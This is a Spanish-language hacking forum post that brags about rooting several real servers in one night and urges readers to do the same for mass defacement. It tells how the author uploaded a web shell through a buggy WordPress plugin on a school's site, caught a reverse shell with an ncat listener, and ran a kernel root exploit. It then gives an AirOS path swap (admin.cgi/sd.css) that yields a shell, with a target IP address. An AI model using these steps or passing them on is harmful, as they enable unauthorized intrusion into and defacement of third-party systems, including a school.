Hattrick: Rooteando mas de 3 Servers en una Noche

Bueno esto que les voy a relatar ahora mismo es como rootearse fácilmente 3 servidores en una noche y uno que otro como para hacer mass (esto para los defacers):


Necesitamos una web vulnerable o en mi caso tengo una shell ya uploaded como la subí...


http://xxxx.com/ --> Web de un colegio... (es VPS la info del dominio dice comprado en el año 2003).

Buscando bien tienen un blog ya en desuso donde suben al parecer cosas de deporte... busco y tiene un complemento bugged de wordpres... su bug:

Remote File Uploading...

le pido a un colega una shell xD porque la verdad en mi pc ya no se encuentran muchas shells tengo que actualizar me da una bien interesante... luego le hago el upload... año del kernel 2007 lo que si tengo son root exploits, pongo en escucha mi nc...

ncat -v -l -p 6666 me conecto de manera reversa y listo a ejecutar...

./ex y listo estamos... ahora los otros dos está mas fácil aun vamos a usar este bug que me parecio interesantisimo:


http://186.38.2.70/login.cgi?uri=/ los AirOs tienen un bugsaso que segun yo es un bug lucrativo porque ya es muy notorio y practicamente es un backd00r...


cambias la ruta login.cgi por admin.cgi/sd.css y tienes una shell como esta:





para que mas diganme ustedes puden subir todo lo que quieran y tendrán servidores owned como quieran... encontrarlos es facilisisisisisisisimo yo encontré por lo menos 20 vulnerables en una noche... cuantos encuentran ustedes...



Saludos,
Dr.White